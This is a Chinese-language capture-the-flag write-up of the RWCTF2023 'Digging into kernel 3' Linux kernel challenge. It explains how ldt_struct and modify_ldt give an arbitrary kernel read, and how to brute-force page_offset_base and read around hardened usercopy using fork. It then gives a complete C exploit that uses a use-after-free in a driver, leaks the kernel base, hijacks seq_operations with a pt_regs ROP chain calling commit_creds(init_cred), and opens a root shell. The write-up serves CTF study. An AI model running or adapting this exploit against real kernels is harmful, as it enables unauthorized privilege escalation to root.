【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3

ldt_struct 结构体

对于该结构体知识请自行谷歌学习,这里仅仅讲利用

ldt 即局部段描述符表Local Descriptor Table)该结构体如下,结构体的大小为 0x10:

/*
 * ldt_structs can be allocated, used, and freed, but they are never
 * modified while live.
 */
struct ldt_struct {
	/*
	 * Xen requires page-aligned LDTs with special permissions.  This is
	 * needed to prevent us from installing evil descriptors such as
	 * call gates.  On native, we could merge the ldt_struct and LDT
	 * allocations, but it's not worth trying to optimize.
	 */
	struct desc_struct	*entries;
	unsigned int		nr_entries;

	/*
	 * If PTI is in use, then the entries array is not mapped while we're
	 * in user mode.  The whole array will be aliased at the addressed
	 * given by ldt_slot_va(slot).  We use two slots so that we can allocate
	 * and map, and enable a new LDT without invalidating the mapping
	 * of an older, still-in-use LDT.
	 *
	 * slot will be -1 if this LDT doesn't have an alias mapping.
	 */
	int			slot;
};

其中 entries 指向一个 desc_struct 数组,nr_entries 标识 desc_struct 数组中元素的个数

/* 8 byte segment descriptor */
struct desc_struct {
	u16	limit0;
	u16	base0;
	u16	base1: 8, type: 4, s: 1, dpl: 2, p: 1;
	u16	limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt 系统调用

Linux 提供给我们一个叫 modify_ldt 的系统调用,通过该系统调用我们可以获取或修改当前进程的 LDT:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
		unsigned long , bytecount)
{
	int ret = -ENOSYS;

	switch (func) {
	case 0:
		ret = read_ldt(ptr, bytecount);
		break;
	case 1:
		ret = write_ldt(ptr, bytecount, 1);
		break;
	case 2:
		ret = read_default_ldt(ptr, bytecount);
		break;
	case 0x11:
		ret = write_ldt(ptr, bytecount, 0);
		break;
	}
	/*
	 * The SYSCALL_DEFINE() macros give us an 'unsigned long'
	 * return type, but tht ABI for sys_modify_ldt() expects
	 * 'int'.  This cast gives us an int-sized value in %rax
	 * for the return code.  The 'unsigned' is necessary so
	 * the compiler does not try to sign-extend the negative
	 * return codes into the high half of the register when
	 * taking the value from int->long.
	 */
	return (unsigned int)ret;
}

我们应当传入三个参数:func、ptr、bytecount,其中 ptr 应为指向 user_desc 结构体的指针:

struct user_desc {
	unsigned int  entry_number;
	unsigned int  base_addr;
	unsigned int  limit;
	unsigned int  seg_32bit:1;
	unsigned int  contents:2;
	unsigned int  read_exec_only:1;
	unsigned int  limit_in_pages:1;
	unsigned int  seg_not_present:1;
	unsigned int  useable:1;
#ifdef __x86_64__
	/*
	 * Because this bit is not present in 32-bit user code, user
	 * programs can pass uninitialized values here.  Therefore, in
	 * any context in which a user_desc comes from a 32-bit program,
	 * the kernel must act as though lm == 0, regardless of the
	 * actual value.
	 */
	unsigned int  lm:1;
#endif
};

 read_ldt():内核任意地址读

【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3_第1张图片

可以看到该函数会将 ldt_struct->entries 指向的数据复制到用户区,所以如果我们能够控制 ldt_struct 结构体,那么我们就可以通过修改 ldt_struct->entries 去实现任意地址读取。

 write_ldt():分配新的 ldt_struct 结构体

【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3_第2张图片

该函数会调用 alloc_ldt_struct 函数重新分配一个 ldt_struct 结构体:

【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3_第3张图片

alloc_ldt_struct 调用的是 kmalloc 函数分配的 ldt_struct 结构体,所以这就给了我们控制 ldt_struct 结构体的机会。

ldt_struct 泄漏内核基地址

我们可以先泄漏直接映射区的位置,然后在直接映射区上有一个 secondary_startup_64 函数指针,然后我们就可以直接读直接映射区去泄漏内核基地址。

下面直接来自【PWN.0x02】Linux Kernel Pwn II:常用结构体集合 - arttnba3's blog

I. 爆破 page_offset_base 与泄露内核 .text 段地址

前面讲到若是能够控制 ldt->entries 便能够完成内核的任意地址读 ,但在开启 KASLR 的情况下,我们并不知道该从哪里读取什么数据

这里我们要用到 copy_to_user() 的一个特性:对于非法地址,其并不会造成 kernel panic,只会返回一个非零的错误码,我们不难想到的是,我们可以多次修改 ldt->entries 并多次调用 modify_ldt() 以爆破内核 .text 段地址与 page_offset_base,若是成功命中,则 modify_ldt 会返回给我们一个非负值

但直接爆破代码段地址并非一个明智的选择,由于 Hardened usercopy 的存在,对于直接拷贝代码段上数据的行为会导致 kernel panic,因此现实场景中我们很难直接爆破代码段加载基地址,但是在 page_offset_base + 0x9d000 的地方存储着 secondary_startup_64 函数的地址,因此我们可以直接将 ldt_struct->entries 设为 page_offset_base + 0x9d000 之后再通过 read_ldt() 进行读取即可泄露出内核代码段基地址

II. 利用 fork 完成 hardened usercopy 下的任意地址读

当内核开启了 hardened usercopy 时,我们不能够直接搜索整个线性映射区域,这因为这有可能触发 hardened usercopy 的检查

 ldt 是一个与进程全局相关的东西,因此现在让我们将目光放到与进程相关的其他方面上——观察 fork 系统调用的源码,我们可以发现如下执行链:

sys_fork()
        kernel_clone()
                copy_process()
                               copy_mm()
                                        dup_mm()
                                                dup_mmap()
                                                        arch_dup_mmap()
                                                                ldt_dup_context()

ldt_dup_context() 定义于 arch/x86/kernel/ldt.c 中,注意到如下逻辑:

/*
 * Called on fork from arch_dup_mmap(). Just copy the current LDT state,
 * the new task is not running, so nothing can be installed.
 */
int ldt_dup_context(struct mm_struct *old_mm, struct mm_struct *mm)
{
    //...

    memcpy(new_ldt->entries, old_mm->context.ldt->entries,
           new_ldt->nr_entries * LDT_ENTRY_SIZE);

       //...
}

 在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可

RWCTF2023-Digging-into-kernel-3

开启了 smap、smep、kaslr 和 kpti 保护,驱动程序很简单,就一个 ioctl 函数

【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3_第4张图片

然后有一个贴脸的任意大小UAF,并且有写堆块的功能。 

主要的问题就是这里没有读堆块的功能,所以关键点就是去泄漏内核基地址。最开始我想用 msg_msg + shm_file_data 去泄漏内核基地址的,但是最后失败了(我感觉应该是可以的),我认为是 copy_from_user 写数据的时候把 msg_header 结构体的 next 字段给覆盖了,由于我对 copy_from_user 的一些特性不是很明白,就没有深究。

最后选择利用 ldt_struct 去泄漏内核基地址,然后经过测试发现没有开启 CONFIG_RANDOMIZE_KSTACK_OFFSET 保护,所以直接劫持 seq_operations,然后利用 pt_regs 一套带走了。

我在 ctf-wiki 上看到其是利用的 user_key_payload 泄漏的内核基地址,然后通过 pipe_buffer 劫持的程序执行流,这个方法到时候在看看吧,我感觉 pipe_buffer 这个结构体很重要,后面好好学习一下。

然后这题也没有开启一些 slab 保护,所以也不需要堆喷,exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define SECONDARY_STARTUP_64 0xffffffff81000060
size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
size_t init_cred = 0xffffffff82850580;
size_t commit_creds = 0xffffffff81095c30;
size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;

struct node {
        int idx;
        int size;
        char* ptr;
};

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int rw_fd;
int seq_fd;
void add(int idx, int size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(rw_fd, 0xDEADBEEF, &n);
//      if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
}

void dele(int idx)
{
        struct node n = { .idx = idx };
        ioctl(rw_fd, 0xC0DECAFE, &n);
}

int main(int argc, char** argv, char** env)
{
        bind_core(0);
        int qid;
        char buf[0x10] = { 0 };

        rw_fd = open("/dev/rwctf", O_RDWR);
        if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");

        add(0, 0x10, buf);
        dele(0);

        size_t page_offset_base = 0xffff888000000000;
        size_t temp;
        int res;
        int pipe_fd[2];
        size_t kernel_offset;
        size_t* ptr;
        size_t search_addr;
        struct user_desc desc = { 0 };
        desc.base_addr = 0xff0000;
        desc.entry_number = 0x8000 / 8;
        syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
        while (1)
        {
                dele(0);
                *(size_t*)buf = page_offset_base;
                *(size_t*)(buf+8) = 0x8000 / 8;
                add(0, 0x10, buf);
                res = syscall(SYS_modify_ldt, 0, &temp, 8);
                if (res > 0) break;
                else if (res == 0) err_exit("no mm->context.ldt");
                page_offset_base += 0x4000000;
        }
        hexx("page_offset_base", page_offset_base);

        pipe(pipe_fd);
        ptr = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);;
        search_addr = page_offset_base;
        kernel_offset = -1;
        while(1)
        {
                dele(0);
                *(size_t*)buf = search_addr;
                *(size_t*)(buf+8) = 0x4000 / 8;
                add(0, 0x10, buf);
                res = fork();
                if (!res)
                {
                        syscall(SYS_modify_ldt, 0, ptr, 0x4000);
                        for (int i = 0; i < 0x800; i++)
                                if (ptr[i] > 0xffffffff81000000 && (ptr[i]&0xfff) == 0x060)
                                        kernel_offset = ptr[i] - SECONDARY_STARTUP_64;
                        write(pipe_fd[1], &kernel_offset, 8);
                        exit(0);
                }
                wait(NULL);
                read(pipe_fd[0], &kernel_offset, 8);
                if (kernel_offset != -1) break;
                search_addr += 0x4000;
        }
        hexx("kernel_offset", kernel_offset);

        puts("Hijack the Program Execution Flow");
        pop_rdi += kernel_offset;
        init_cred += kernel_offset;
        commit_creds += kernel_offset;
        swapgs_kpti += kernel_offset;
        add_rsp_xx += kernel_offset;
        hexx("add_rsp_xx", add_rsp_xx);

        add(0, 0x20, buf);
        dele(0);

        seq_fd = open("/proc/self/stat", O_RDONLY);
        dele(0);
        add(0, 0x20, &add_rsp_xx);

        asm(
        "mov r15, pop_rdi;"
        "mov r14, init_cred;"
        "mov r13, commit_creds;"
        "mov r12, swapgs_kpti;"
        );
        read(seq_fd, buf, 8);
        hexx("UID", getuid());
        system("/bin/sh");
        return 0;
}

最后可以直接提权:

【ldt_struct结构体的利用】RWCTF2023-Digging-into-kernel-3_第5张图片

你可能感兴趣的:(kernel-pwn,kernel-pwn)